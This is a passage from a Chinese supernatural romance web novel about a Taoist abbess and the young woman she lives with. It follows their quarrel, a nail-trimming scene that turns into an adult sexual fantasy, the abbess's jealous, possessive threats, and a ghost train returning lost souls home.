但是现在看到这个印记留在傅清微身上,让她超出寻常的愉悦和大大的满足,就好像傅清微被她打上了私人专属的印记。 让她老是去牵别人的手。 穆若水:“留着,不许擦。当然,你也擦不掉。” 傅清微:“我不会擦的。” 说了她很喜欢。 穆若水对她的回答很满意,那么作为奖励:“今天中午你想吃什么?” 啊啊啊啊啊。 傅清微想向全世界炫耀她有这么好的……道长。 “穆……” “木什么?木耳?”穆若水迟迟等不到她下文,猜测道。 “木耳烧豆腐吧。”傅清微露出一个笑容。 “还有一个呢?” “水煮肉片。再加个若荷吧。” “若何是什么?” “啊,突然想起来本地没有这个菜,那就算了。” “本来我也没打算给你做三个菜。”穆若水甩了甩袖子,哼声说。 一个人吃三个菜,把她当下人使唤吗?再说以她现在的经济实力,也不掂量掂量钱袋子的厚度。 “那就木耳烧豆腐和水煮肉片,家里没有豆腐,待会我去买。” “可。” 小区往外走不到二百米就有一家小的生活超市,买块豆腐不用走太远,这么近的距离穆若水也不用下楼,靠感应就能覆盖她的行动范围。 傅清微低头吃面,再没有说话。 穆若水翻她随手从书架抽的书,本来就懒得主动开口,一时静谧。 傅清微吃完顺便把碗筷洗了,没敢和坐在沙发上的穆若水对视,进了一道鞋柜之隔的玄关,说:“我去买菜了。” “去吧。” 观主已经打开了电视,似乎完全没注意到她的反常。 傅清微带上门,一路电梯下行,把额头抵在冰凉的轿厢,肠子都悔青了。 实在是……太拙劣了…… 藏头也藏个文雅点的!谁会用木耳烧豆腐、若荷和水煮肉片来藏头!观主没发现还好,发现了会怎么想她? 她是个宇宙无敌大蠢货吗? 安静无人的客厅,穆若水忽然扑哧一声。 她很少笑出声音,更别提像现在这样笑得根本停不下来,仰倒在沙发里用细长手指遮住眼睛,胸腔不住起伏,泄露出时断时续的笑声。 还好傅清微已经走了,否则她就得当着她的面崩人设了。 她上网查了,真的有若荷这道菜,是一个很小的地方特有的。 难为她一片孝心,能编出这么多花活逗她。 穆若水决定免她一次生气的机会。 穆若水没想到,前脚刚定好奖励,后脚就得兑现。 傅清微买完豆腐回来,只花了十几分钟,进门把菜放进厨房台板,出来后就旧事重提,非常介怀:“你昨晚向我道歉了吗?” 电视机声音开得不大,穆若水没理由听不清楚,但她想不明白:“道什么歉?” 女大站在客厅中央,正义凛然:“昨天晚上在程家大门口,你说一见我就烦,给我道歉。” 她倒是长嘴了,有话直说,但观主不是普通人。 “你做梦!”穆若水的声音立马上来了,她字典里就没有“道歉”这两个字。 “那就是你的真心话了?” “我没这么说。” “既然不是真心话,就是气话,道歉。” “做梦!”观主还是那句话。 傅清微走到她面前,严严实实挡住电视机:“道歉!” 愈发放肆无礼了! 穆若水抬起手,傅清微的身子横了过来,浮在空气中,四下都无处借力的感觉让傅清微惊恐万分,她害怕地去抓穆若水的肩膀,穆若水将她推远了一些。 “你再提我就把你从八楼扔下去。” “就算我死了,变成鬼也要来找你让你道歉。”失重的感觉并不好受,傅清微干脆闭起眼睛,但梗起的脖子比命还硬。 “……”穆若水恐吓她说,“我杀的鬼比人还多。” “那你就杀我第二次好了,反正我活着也没什么意思。早上我还想道长是世界上最好的人,现在你就要杀我了,还要杀两次,要杀快杀,我要是皱一皱眉头,我就不吃木耳烧豆腐!” “……”都是什么乱七八糟的! 穆若水咽下忍俊不禁,把她放了下来。 傅清微双脚一落地,眼泪在重力的作用下马上落了下来。 穆若水威胁她:“还哭?再哭我——” 傅清微开口打断,闭着眼凑近她:“舔我,我知道,你舔啊。” 这可是她自己说的。 穆若水咽了咽生理分泌的口水,捧起她的脸,吻上她泉眼般的漂亮眼睛。 穆若水说是舔,就绝不止是吻。 舌头软软的触感徘徊在她的睫毛,带来痒意。一只手扶着傅清微的腰,指尖来回轻抚她的下巴,她为数不多的温柔在进食的时候体现得淋漓尽致。 太暧昧了。 傅清微差一点就哭不下去。 但还是穆若水昨晚的话比较伤人,刚刚还把自己抬起来悬浮在空中,毫不顾及她的感受,演员的代入情绪能力发挥作用,傅清微瞬间泪如泉涌,穆若水差点接不过来。 昨晚喝了顿饱的大餐,血液是最美味的,泪水次之,此刻吸食多了,穆若水切身体会到自助餐吃撑的感觉。 她离开了傅清微的眼睛。 傅清微还在哭,眼皮都肿了。 穆若水头疼道:“别哭了。” 傅清微睁开朦胧的泪眼,哽咽着说:“你道歉。” “休想!” “呜呜呜呜呜呜。” “除了道歉,我可以满足你一个愿望,什么都行。” “我就要道歉呜呜呜呜。” “你多大了,动不动就哭?” 还不是因为这招有效。 傅清微情绪快断了,酝酿了一下,不哭出声音了,但眼泪一点都没少,隐忍无声的呜呜呜,看得人心揪成一团。 穆若水在狭窄的客厅来回走了十几圈,重重地甩了一下袖子,站定。 “我道歉,行了吧?” 傅清微看过来,鼻子和眼睛都红红的,一行泪从她面颊滑过。 穆若水:“……我都说道歉了,你怎么还哭啊?” “我错了,或者对不起,你选一个。” “我错了。” “我不该对你说那样的话,我见不到你才烦。” “我不该对你说那样的话。”穆若水重复道,“我见不到你才……”怎么还夹带私货啊。 “一定要说吗这句?”穆若水问道。 “随你。”完全占据上风的傅清微说道,顺便楚楚可怜地流了一滴眼泪。 穆若水脾气完全被她磨没了,坐到她身边,抽了几张纸巾温柔给她擦眼泪,边解释道:“我昨晚是因为别的事心烦,不是针对你,对不起,我不该迁怒你,口不择言。” 事实上昨晚穆若水说完就非常后悔,只是一直没找到台阶下。 她又是这种性格,非得傅清微磨她她才肯低头,心甘情愿地就坡下驴。 道完歉她也舒服了。 傅清微反而受宠若惊。 观主原来是会自己说人话的! 这还是她那个喜怒无常、动辄更无常的观主吗? “没关系。”傅清微有些飘飘然,温柔地原谅了她。 两个人都很舒服。 穆若水丢掉纸巾,用唇替代,吻去了睫毛上最后的湿润,对她说:“眼泪是很宝贵的东西,不要再哭了。” “我知道,你要喝的嘛。” “……” 穆若水其实也不是那个意思,只是单纯不想见到她哭。 算了,这种话没必要同她讲明。 穆若水打开手臂,傅清微枕在她右边肩膀,穆若水抱着她,手掌贴着她后腰,两个人一起靠在沙发里,谁都没有说话。 争吵过后无声的暧昧开始涌动。 穆若水合着眼闭目养神。 傅清微突然想去听听她左心房的心跳,于是从右边悄悄从左边靠近。 没等她耳朵贴到左胸口,穆若水的右手已经捏住了她的后脖颈,没用什么力道,但是也足够阻止她的动作。 “做什么?”女人睁开眼,声音慵懒。 “没做什么。”傅清微掩饰自己的心虚。 “脖子还疼吗?”穆若水顺势给她推拿了两下。 “嗯……嗯……”接连两声控制不住的低吟。 两人一个住手,一个住嘴,几乎同时,说不出的默契。 傅清微低下头,恨不得甩自己一巴掌,要喘也不是这个时候喘。 穆若水没话找话地说了一句:“你好敏感。我是说,脖子。”头发也是,碰一下发根都会颤抖。 “是啊。”傅清微讪笑两声,立马从她怀里跳了出来,说,“我去处理一下中午的食材。” “去吧。” 穆若水低头看向自己的手,出神片刻,忽然想起什么。 “昨晚你又忘记给我剪指甲了。” 傅清微的背影似乎踉跄了一下。 “今天一定。” “什么时候?” “晚上吧。”毕竟晚上才是暧昧的最高峰。 傅清微背对着她说道,生怕她看到自己别有用心的眼神。 “再忘记我会生气的。” “绝对不会!”再忘记傅清微这辈子都不会有性幻想了。 她进了厨房,先定好了五个剪指甲的闹钟,再泡上木耳,处理其他食材。说是处理,其实也只是清洗和归置,毕竟她刀工不行,长了一双修长骨感、指节灵活的手,在厨房毫无用武之地。 半小时后,穆若水进来取代了她,傅清微也没走,就在边上看着她。 看她切肉,同样的刀,穆若水就能片出薄薄的肉片,不知道手指掌握的力度控制到了怎样的精准程度。 当然,忽略她手上的功夫,光看她做菜也赏心悦目。 “出去。”穆若水看也不看她,下了逐客令。 “好嘞。” 傅清微从善如流,趴到沙发上,做一个乖巧等饭吃的废物。 暴雨前傅清微网购了一批蒸汽眼罩,观主表示满意,比普通眼罩更助眠,傅清微往购物车里又添了两组。还有些日常小物件,观主经常为现代人的巧思感到神奇,傅清微推测她会喜欢的都点了收藏,不超过十块的当场下单,超过十块的有钱再说。 “吃饭。” “来了。” 准时接受投喂的傅清微一个鲤鱼打挺起来,冲到厨房盛饭拿筷子,出来刚好和坐好的穆若水面对面。 穆若水非常爱看书,可能古人的娱乐不多,保留下来良好的阅读习惯。 傅清微专门等到她翻页的间隙才说话:“道长。” 穆若水虽然没看她,但翻页的手一顿,问道:“有事?” “有。” 穆若水从对面抬起眼帘。 “你看你有名有姓,我总这么道长道长的叫,是不是有些生分了?” “你的意思是……换一个?” “对。”傅清微克制住喜色,说,“换个称呼,比如……” 她本来想叫个亲密点的,一是具体没想好,二来怕穆若水反感,干脆把主动权让给她:“你想一个吧。” “正好有一个。”没想到穆若水这样说。 “什么?”傅清微喜形于色,期盼地看着她。 穆若水把书放在桌面上,直面端坐,正正经经地把视线和她对上。 “叫祖宗吧。” 傅清微笑容僵在脸上,寸寸裂开。 穆若水抬起下巴,还用恩赐的口吻说:“我准许你这么叫。” “要不,还是叫道长吧。”傅清微讪讪的,中气也虚了不少。 “不是嫌生分?” “不生分不生分。”那也比差到祖辈强。 “这个机会可不是轻易有的。”穆若水真心劝她把握,不是谁都能给她当孙辈。 “没事,还有别的机会。”总会有别的机会的。 傅清微低头吃饭,彻底打消了短期内改口的想法。 她把人当性幻想对象,观主把她当孙女,有可能还是曾曾孙女! 上哪儿说理去! 【女主A和女主B已经同居好一段时间了,最近暧昧升级,女主A对女主B却还是没有一个正式的亲密的称呼,她本来想改口叫姐姐,但是主要怕自己会受不了,毕竟姐姐和老婆差不多,她们俩只是在暧昧,女主A还不确定自己是个女同,万一叫了姐姐就没有回头路了】 穆若水回房午睡了,傅清微在沙发上给甘棠发消息——甘棠都催进度好几天了。 傅清微:【另外就是,昨天晚上,女主B对女主A做了一件事,让纯情的女主A变得不再那么纯情】 甘棠:【具体是什么事呢?】 傅清微:【作者写了,你去看四十二和四十三章,我就不展开了。总之纯情的女主A那天晚上就有感觉了,她都快大学毕业了,被这么一弄,亲的还是那里,又舔又咬,完全没感觉岂不是X冷淡】 【女主A看不透女主B,有时候她觉得女主B对她没想法,因为女主B让她叫她祖宗。】 甘棠:【哈哈哈哈哈哈哈】 傅清微:【但是女主B会捏她的后颈,在女主A发出羞耻的声音以后夸她敏感,还会用手梳女主A的头发,女主A最受不了这个动作,和前戏有什么区别?】 甘棠:【有没有可能,是女主A想要女主B对她做前戏了,她已经饥渴难耐!】 傅清微:【随便吧,女主A和女主B约好了,今晚上给她剪指甲】 甘棠:【哇!让我们恭喜女主A!想采访一下女主A现在的想法】 傅清微扭头看了一眼紧闭的卧室房门。 【女主A随时做好了献身的准备】 第45章 傅清微拿衣服进浴室洗澡之前, 从茶几上拿了手机。 穆若水从她光明正大的动作看过去,费解地想了一秒钟,想不通她今天拿手机进卫生间的原因, 索性作罢。 但她淡淡地睨了傅清微一眼, 仿佛意味深长。 傅清微自觉道:“给你剪指甲, 我记得。” 穆若水表示满意。 傅清微一手抱着衣服,拿着手机的那只手带上了卫生间的门, 传来反锁声。 穆若水已经习惯了, 打开电视机。 她每天也就读书看电视,在没有新的娱乐活动出来之前, 过得像个退休老干部。不, 还不如退休老太太,老太太还会去跳广场舞。 有天晚上她和傅清微散步回来,倒是遇到过一次, 傅清微撺掇她去跳, 观主弹指赏了她一个脑瓜崩。 有时候傅清微是真的一点都不怕她,这种时候还越来越多了。 穆若水想回山上的棺材躺一段时间,人间太耗费她的精气, 主要是拜正在洗澡的某人所赐。 嗯?怎么还没听见淋浴声? 傅清微把珊瑚绒的睡衣脱下来,里面不知何时竟然是一件白色衬衣,崭新干净,这是傅清微为了自己的毕业典礼准备的, 质地面料和她拼夕夕的那些日常衣服截然不同。 有型有款,有暗线花纹, 衬得桃李年华的年轻女生线条很好看。 傅清微站在镜子前, 两只手抬到领口,动作轻盈地解开了一粒扣子。 白皙皮肤上锁骨的吻痕若隐若现, 一半隐没在衬衣的遮掩下。 微微仰起雪颈,镜子里的傅清微举起手机自拍。 她拍了几张,又解开两粒纽扣,拍摄了不同角度的吻痕照片,包括露脸和不露脸的。 ——有点像她第一次练出腹肌的时候。 身为一个健身人士,有了镜子的辅助,傅清微的拍摄顺利许多,总共拍了有几十张各种吻痕照,她才收起手机,踏进了浴室。 后来她洗完澡出来暂时没穿衣服,发现刚淋过热水的吻痕颜色又产生些许不同,更粉了一些,像女人刚吻上的唇印。 于是对着镜子又照了一通,包括穿衣服和不穿衣服的。 如果毕业论文题目取《论吻痕的变化周期及细微研究、各种角度吻痕自拍的分析》,相信傅清微同学一定可以满分通过答辩。 淋浴的头尾各有十几分钟的空闲,傅清微在卫生间足足待了快一个小时,才穿上她冬天的珊瑚绒睡衣,把衬衣的领口严严实实地掖在底下,姗姗而出。 电视机的声音已经停了,女人坐在沙发上,阴沉的眉眼间似乎蕴含着暴风雨。 “你在里面做什么?”就那么不想给自己剪指甲? “啊,我。” 傅清微说起来怪不好意思的,于是弯下腰捂着肚子,难以启齿道:“我、闹肚子。” “那我怎么没有听到冲水声。” “马桶堵了,我又通了一下,所以耽误了些时间。对不起我撒谎了我其实是在里面照镜子臭美请原谅我道长。”傅清微低着头。 “……” 穆若水不知何时直接出现在她的面前,伸手卡住她的下巴,以一种蛮横但又不足让她真的感到疼痛的力道迫她抬起头,直视着她的眼睛,说:“换一个人,早就死了一万遍。” “明白,多谢道长厚爱。”傅清微真心道。 “知道厚爱还不自觉一点。”穆若水指尖松开她的下巴,冷道,“别再让我等。” “是。”傅清微恭顺道。 穆若水吊起一边眉毛。 她这么听话温驯,低眉顺眼,反倒让她觉得诡异。 “正常点。”穆若水轻轻踢了她的小腿肚一脚。 “知道啦。” 傅清微抬眼笑道。她就知道观主口嫌体正直,喜欢她得寸进尺。 “我想回屋换个衣服,三分钟。” “你不是刚洗完澡?” “有点热,穿多了。” 外面的气温不到零下,除了暴雨那几天气温骤降以外,鹤市的冬天大多时候温度都在零上,对于傅清微这种火力旺盛又勤于健身的年轻人来说,珊瑚绒睡衣实在太过了。 “那你还穿?” “一时忘了。”傅清微说着,已经笑着进了卧室。 咔哒—— 第二次锁门声,听得穆若水心烦气躁。 再有第三次,卫生间和卧室门她迟早挑一扇拆了锁。 “对了,你在沙发上坐好吧,我马上来给你剪指甲。”卧室里遥遥传来声音。 一整个晚上,总算说了一句她爱听的话。 穆若水哼了一声,将衣服的下摆一掀,端坐在了长沙发上。 说三分钟就三分钟,傅清微在门口整理了自己解开两颗纽扣的睡衣,露出种了草莓印的锁骨,拉开了房门。 穆若水抬头望去。 相比于刚才的厚重,她显然穿得太清凉了,长衬衣短得遮不住白皙的大腿,洁白的雪色毫无瑕疵,一时穆若水分不清晃眼的是她的腿,还是雪白的衬衣。 双腿笔直修长,桃李之年姣好的身段掩盖在衬衫下,光线透过衣料勾勒出胸腰的曲线。 ……其实发育蛮好的。 穆若水尽量不去看下面,以客观的眼光点评道。 傅清微带着一股清香坐在她身边,从茶几的抽屉里拿出剪指甲的工具皮包,慢条斯理的,仔细去听的话呼吸却有点紧张。 她本来想不穿内衣就出来的,但是衬衣薄,光一照就透,到时候两点红樱,还会立起来,她估计都不敢看穆若水的眼睛。 说得她现在就敢看似的。 笑死,只敢盯着对方伸过来的手。 “你好香。”穆若水空着的另一只手撩开她颈间的发丝,嗅着令她心醉的气息,“是什么味道?” 她平时也偶尔会这样,但此刻傅清微正在给她剪指甲,再耳鬓厮磨就显得过于暧昧了。 “没什么,就是沐浴露。” “那就是体香了。” 傅清微的手抖了一下。 “是、是。”她羞于回答这个字眼。 “故意穿这么少,坐到我怀里来,是想做什么?”穆若水嗅着她好闻的发丝,鼻尖游弋,薄唇若有若无挨着她的颈项。 “我什么时候坐到……啊!” 穆若水环着她腰肢的手一带,傅清微上身一抬,便坐在了女人的腿上,与此同时,穆若水徘徊的那只手也落在了她的大腿上,缓缓地游移,一面看着她。 傅清微深喘了一口气,和女人对视了一眼,立马低下头去。 这一低头,又正好将穆若水侵略她的动作都收进眼底,说不上哪里一热,总之到处都热,血液升温,心跳失序。 “我、我帮你剪指甲。” “嗯……”女人鼻腔里发出懒懒的一声,细细啄吻她的脖颈,傅清微简直快拿不稳指甲钳。 “快些。”扣子已解开了四颗,穆若水的脸埋在她肩头,唇瓣没闲着,边亲她边催促了一声。 “……好。”傅清微声音带上了颤颤的颗粒感。 穆若水的指甲长得很快,短短几天赶上常人一个月,傅清微忍受着羽毛一般的瘙痒一直到胸口,方给她处理好了右手的指甲,磨得圆润光滑。 “好了,可以换一只手了。” “嗯。”依旧是鼻音回她,因为穆若水的嘴巴没空,正在忙别的事。 单薄的衬衣开到腰间,穆若水经过打磨变得无害的右手滑了进去,指腹抚过柔韧的细腰,观察她的表情。 傅清微软绵绵地嗯了一声,握不稳指甲钳,倒进她怀里。 穆若水的左手仍然留着长长的指甲,但已经不重要了,左手有力地接住了软倒的年轻女人,穆若水的右手没有动,指尖来回划过她敏感的腰肢,问她:“你是想让我往上,还是往下?” 傅清微脸红成虾子。 “你想……往哪里?”她声若蚊讷,“我都可以。” 穆若水发出了一声好听的笑。 她提前紧张地闭上眼睛。 就在傅清微猜测她会在上下选一个的时候,穆若水却收回了手,在空虚淹没心头之前,捧住了她的脸。 傅清微睁开眼睛。 “在做之前,你忘记了一件事。” “是什么?” 穆若水深深凝视她的双眼,傅清微已经明白了是什么。 她的心跳前所未有的快起来,比刚刚穆若水的手在她大腿上,慢慢往里试探的时候还要快。 穆若水:“要不要?” 傅清微:“要!” 在她回答的一瞬间,几乎同时,两人吻在一起。 傅清微明明从来没有接过吻,在碰到女人唇瓣的同时无师自通地学会了舔咬、画圈,张开唇迎接彼此火热的入侵。 她直起上半身,几乎将穆若水压进了沙发里,穆若水一只手贴在她的后背,隔着衬衣布料来回抚摸,另一只手则捏在她的后颈,顺着发丝五指探进她浓密的发根。 两人的唇舌深深地纠缠在一起,穆若水揉着她的长发,傅清微在她怀里一声声的情不自禁。 只接了个吻,她甚至都不需要另外做什么,傅清微已经得到了一种至高的满足。 但到底接吻还是不够的,傅清微主动牵起她的右手,抬起春雨浸透的身子蹭了蹭她,帮她选了一个方向。 穆若水深深地看了她一眼,重新吻上她的唇,手如愿去了她想要她去的地方。 傅清微身体里的雨下个不停,一场秋凉,更添风雨,海棠花都湿了个透。 “喂。”光线在眼前晃动,傅清微失神的眼睛慢慢聚焦,原来是穆若水挥动的手,玉指纤纤,留着长长的指甲。 “你在发什么呆?” 傅清微恍然梦醒,她还坐在穆若水身边,穆若水的右手托在她掌中,没有情不自禁,更没有天雷地火。 穆若水看向她的目光充满打量和困惑。 从什么时候开始的?进入了幻想里? “你好香。”穆若水空着的另一只手撩开她颈间的发丝,嗅着令她心醉的气息,“是什么味道?” “没什么,就是沐浴露。” “之前好像不是这个味道。” “换了新的。” “哦。” 截然不同的对话响在她的脑海,似乎是幻想与现实的分支,傅清微问:“我刚刚说了什么?” 穆若水想了一下,说:“换了新沐浴露。” 然后她就一动不动地开始发呆了。 客厅顶灯的光明晃晃地打下来,傅清微仰头让光线刺进自己的眼睛,更好地认清现实,低头继续给她剪指甲,尽量平静地问道:“道长身上的香,闻久了真的会催情吗?” 穆若水今晚心情还不错,虽然有一些不愉快的小插曲,但右手的指甲快剪完了。 傅清微很细心,又耐心,最主要的是心甘情愿给她剪。 于是大发慈悲地告诉她:“它的主效果不会催情。不过这种香并非凡品,对于凡人,尤其是没有修行过的凡人,产生的作用就各异了。” “会不会产生幻觉?” “原则上来说是可以的。”穆若水联想到她的开小差,挑眉道,“怎么?你刚刚产生幻觉了?” 傅清微眉心跳动了一下。 “随便问问。” “我不信。”穆若水一向自负,但她的自负都是有资本的,包括看穿傅清微的心思,上下审视她道,“你又问催情又问幻觉的……” “剪好了!” “噢!你做春梦!” 傅清微的声音再快,也没有压过穆若水的一锤定音。 “……” “我猜对了?” “猜对又怎样,我不需要你的香也可以做春梦。”傅清微硬气道。 “哎?”穆若水被她的强词夺理带偏了一瞬,迅速正回来,玩味地说,“做春梦没什么了不起,但你对着我做春梦,是不是说不过去?” 傅清微连心跳也跟着乱了。 难道香的主人能看到梦境的具体内容?当着穆若水的面给她放她和自己的黄片,还不如死了算了。 不对,她应该看不到。 傅清微说服自己镇定,至今高清内容只有自己看到了。 不要慌。 “我没有对着你。” “是,你对着我的手。” 话题越聊越歪,也越聊尺度越透明,傅清微忍不住看了眼观主,她先前连剪指甲都不懂,会知道对着她的手性幻想是什么意思吗? “我没看你的手。”她那个时候已经在做梦了,看的也是梦里剪完指甲的手。 “那你看的是谁的?” “我——” 傅清微猛然回过味来,观主似乎是在旁敲侧击,她刚刚做的春梦里对象是谁吗? 她为什么要问?好奇?还是……吃醋了? 傅清微咬了咬下唇,眉眼染上丝丝喜悦。 “还在回味呢?”头顶落下女人一句不辨情绪的声音。 傅清微脸腾的红了。 想到观主可能在吃醋,她确实也回味了一下。 “记住你的本分。” “什么本分?”傅清微愣愣地回了一句。 穆若水冷着脸把左手伸过来,和梦里那只没有剪指甲的手别无二致。 傅清微哦了一声。 低头给她修剪剩下的这只手指甲。 不就是伺候她吗?她想的话她也可以身体力行地伺候,予取予求。 她又不肯。 自己在这坐半天了,一点反应都没有,这么白这么滑的腿,摸都不摸一把。 两只手都清爽了,穆若水摆了摆手,示意她退开,没像之前那样百般欣赏,反而有点意兴阑珊。 傅清微站在一边,惴惴地猜测她是不是哪里不满意。 “明天你是不是要去程家?” “是。”明早就是1号线列车试运行的日子,她得去接程玉汝的魂。 “早点睡,别东想西想的。” “是。” 傅清微心想:我还能想什么?除了你。 穆若水起身回屋,傅清微跟着她一块进屋,拿了正常的睡衣,亲自替道长把蒸汽眼罩准备好。 她拆了包装袋,眼罩递到穆若水手里,穆若水紧紧地捏住了眼罩,凸起的指骨清晰。 “晚安道长。” 这次穆若水又不理她,她也不意外,只笑了笑,假装无意指腹碰到她的手臂,毫无异样地收回。 有一点肢体接触她就满足了。 傅清微走到门边,正要关灯出去,身后传来一道阴沉寒冷的女声。 “你刚刚做的那个春梦,梦里的人是谁?” 第46章 后脖颈的汗毛一根根站了起来。 “你刚刚做的那个春梦, 梦里的人是谁?” 傅清微从门边回过头去看床上坐着的女人,对方眉眼间冰封万里,没有半分温度。 仿佛只要她答出一个人名, 下一秒对方就会身首异处。 或者将她也一并杀了。 傅清微不是完全不怕死, 但让她说出穆若水的名字是万万不敢的。 先不说道长根本不喜欢她, 恐怕只是占有欲作祟,让她一个二十岁的女大对着春梦对象坦言, 我梦见的就是你, 和你这样那样的,春雨泛滥, 湿得一塌糊涂。 她不如死了算了。 傅清微:“我没有梦见谁, 就只是一个模糊的身形。” 穆若水阴郁的脸色没有丝毫好转。 “果真如此?” “千真万确。”傅清微透露了一点点真相,“如果非要说的话,她的手和道长的有点像, 绝没有亵渎您的意思!” “谈不上亵渎。” 穆若水不在意地说, 她又不是端坐庙坛的菩萨。 傅清微观察着穆若水的神色,似乎没有之前那么戾气十足了。 穆若水冷冰冰道:“你对着我发誓,绝没有梦见别的什么人。” 这不正中傅清微的下怀? 除了她, 她可不是没有梦见别的任何人。 傅清微指天对她发誓:“我发誓,绝没有梦见和别的人做不雅之事,否则罚我出门被车撞死,喝水呛死, 走路摔死。可以吗?” “我还会亲手杀了你。”穆若水说,“这次不是玩笑, 你最好相信我的话。” “我相信。” 傅清微正色道。 穆若水气消了大半, 仍然心烦意乱,乱麻缠成线不知道源头在哪, 她挥袖让傅清微退下。 “出去。” 傅清微不想走,刚露出一丝不情愿,不见穆若水如何动作,只是看了她一眼,她便不受控制地身体退到门外,关上了房门。 砰—— 傅清微面前只剩一道门板,失落涌上心头。 不谈感情,她和道长的差距也有如天壤,根本没法平等地对话。 唯一能确定的是,她对自己有着超乎寻常的占有欲。 强烈到可能会因为她移情别恋(?)而杀了她。 傅清微为自己离谱的想法而两手拍了拍脸,什么乱七八糟的,与其天马行空地瞎猜不如先去趟卫生间清理一下自己。 女大这也是人生第一次这么有感觉。 她脱下内裤,本来想拍照留念一下,最终因为过于变态而打消念头。 不过还是回味了一下褪下来时黏腻拉丝的水感,就是凉了后有点冰,比她给道长买的那条冰丝睡裙还要冰。 睡裙还在卧室的衣柜里呢。 “太上老君曰……” 傅清微盘腿打坐,把睡裙的影子从脑海挥去,闭目念诵晚课,六根逐渐清净。 诵念经文声断断续续地透过门板传进耳朵。 穆若水干脆隔绝了自己的五感,空洞的黑暗里没有声音,连心跳都没有,但缠成乱麻的思绪依旧占据她的头脑,扰得她难以入眠。 她相信傅清微不会对她撒谎,她的春梦里没有别人,否则她真的会取她性命。 让她无法入睡的另一个问题是: 穆若水才想起来,傅清微是一个凡人,凡人会成亲生子,生儿育女,大多数人都会走上这条路。 虽然傅清微的面相上夫妻宫断绝,也不会有子嗣,但不代表她不会谈恋爱,最要命的是,她眉尾聚势,双颊饱满,卧蚕润泽,目光时而湿润游离,已是桃花将近的征兆。 穆若水活动了一下手指。 看不出是烂桃花还是正缘,烂桃花还好,要是正缘…… 她就先杀掉那个正缘! 傅清微最好不要动什么歪心思,她若敢,别怪她一起杀。 她的人,绝不容任何人染指,傅清微自己也不行! 黑暗里再次响起均匀幽静的呼吸声,穆若水调整了眼罩,打开了五感,在屋外碎碎念一般的诵经声中渐渐睡去。 许久,诵经声也停了。 一切都恢复静谧,晚风和月亮相伴入眠。 一道修长的人影在沙发前停留,慢慢俯身下来,将五指搭在了年轻女人纤细的脖子上。 女人的眼中鲜红一闪。 傅清微睡梦里呓语了一声,手摸了摸胸口,刚好碰到了女人的手腕,她下意识抬手捉住,顺着方向摸到了穆若水的手指,然后用手心覆了上去,顺便把她的指尖握在了手里,贴在自己脸上亲密地蹭了蹭。 穆若水:“……” 也不知道梦见了什么。 穆若水唇角掀起一点弧度,刚要被她可爱到,忽然想起她今夜做的春梦,面无表情地伸手把她推醒了。 深更半夜,睡得正香的傅清微突然被一股大力推醒,看到面前一个黑影,要不是有月光,她现在就吓得心脏骤停去见阎王。 “道长!”傅清微开了灯走回来,深深地控诉道,“我要被你吓死了,你半夜不睡觉干吗呢?” “你做了什么梦?”穆若水盯着她。 傅清微上一秒理直气壮,下一秒目光闪躲。 啊这。 “说!”穆若水喝道。 “我说我说。别掐,手多酸啊。”傅清微把她的手从自己颈项拿开,又没有完全拿下来,而是往上,捧住了自己的脸。 “?” “就是这样。”傅清微松开手,穆若水的手还在她的脸上,她不着痕迹地轻轻蹭了一下女人的掌心,乖巧地说,“我就梦见了你摸我的脸。” 说一半藏一半,其实还摸了别的地方。 穆若水眯眼:“我摸你做什么?” 傅清微语塞:“我哪知道啊,我做梦呢。那你又为什么半夜在我床、沙发边?” “我也做梦,不行吗?” “梦游吗?” “嗯。” 傅清微信不了她一点,她在山上住了那么久,不见她半夜从棺材里出来梦游。 但她不敢拆穿观主,只说:“估计是压力太大了,你需要多休息。” “嗯,我也这么想。”观主表示赞同。 傅清微舒了一口气,紧接着打了个哈欠。 “我好困,我能继续睡了吗?” “准。” “没事不要再把我叫醒了,明天还得早起。” “好。你睡吧,要不要我给你下一道安睡符?”观主不存在的良心为数不多的涌起了一点愧疚。 “我怕睡过,不用了,我有闹钟。” “晚安。” 傅清微愣了一下,才柔声回她:“道长晚安。” 穆若水本来已经转过身去了,步子往回迈了一步,面向傅清微伸出手,拇指蹭了蹭她温暖的脸颊。 直到卧室房门关紧,傅清微久久不能回神。 一门之隔的房间里,穆若水停了下来。 ——我就梦见了你摸我的脸。 她板着面无表情的脸许久,唇角很轻地往上翘了翘。 她走向床沿,把自己塞进了被子里,一长条隆着,戴着眼罩,唇角的弧度像是长在了上面似的,一直跟到她的梦里。 * 六点。 出事那段地铁的站点依旧被封闭,用围挡拦起来,不让人进入。 1号线地铁的空车试运行就在今天,傅清微和穆若水走灵管局的特殊通道进入了地铁站,地面整洁干净,地勤依旧在正常执勤,完全看不出那场灾祸的影子。 因为还没有对外开放,所以安检口的灯光是黑的。 安静的地铁站内部,除了少数工作人员,只有两个人和一只鬼。 傅清微第一次看到这么清净的1号线,但一想到这份清净背后,便说不出的沉重。 程玉汝已经习惯了当鬼的生活,都不用走路,比当人的时候轻松多了。她在偌大空旷的地铁站飘来飘去,一个人和工作人员玩捉迷藏。等她玩得差不多了,飘过来问傅清微:“我什么时候来?” 傅清微也不清楚,看看时间说:“已经从始发站出发了,应该快了吧。” 在无人知晓的清晨,送亡魂回家的第一列地铁从始发站开出。 平常拥挤的1号线地铁空无一人,每一个座位上空空荡荡,却在到达每一个站点都会停下来开门。 “到站了,回家了。” 迷茫徘徊的灵魂自车厢出来,站在黄线外的地面,环顾四周,才记起自己已经不在人世,泪如雨下。 在下一刻,肩披尚未落下的月光,她们陆续踏上了回家的路。 “前方到站成田湾,请下车的乘客提前到左侧车门等候下车。” 电子屏显示:预计到达时间<1分钟。 列车开过来的灯光照亮了隧道。 程玉汝:“来了来了。” 她忽然哽咽。 列车停靠在站台黄线内,透过车厢的玻璃里面还站着两个呆呆的人影,面朝玻璃,脸色灰白,一片木然,像都市怪谈里的鬼影。 但程玉汝知道那是和她一样那天没能离开那列地铁的人。 作为一只鬼,她已经死了,但是同胞的不幸依然让她泪流不止。 列车车门打开,一个看不出形状的虚影下了车,靠近程玉汝就不见了,那是她的最后一魂,至此魂魄完整。 列车开走了,那两个人影依然望着外面,没有任何变化。 程玉汝的视线自远方重新变得漆黑的隧道收回,问道:“确定不会漏下任何一个人吗?” 傅清微说:“不会的,有灵……我朋友她们的人会检查的,也会请阴差将她们送去投胎。” 程玉汝三魂归位后,整个鬼的脑子都清楚了很多。 “傅同学,你不是普通人吧?”程玉汝身体前倾,笑着问她。 “我……只是个实习生而已。” “哇,是地府那种走无常吗?好酷啊。”程玉汝生前显然没少看灵异小说。 “不是啦,是别的组织。” “嘻嘻,要不悄悄告诉我一下,反正我都是鬼了,我保证不跟别的人说,鬼也不说。” 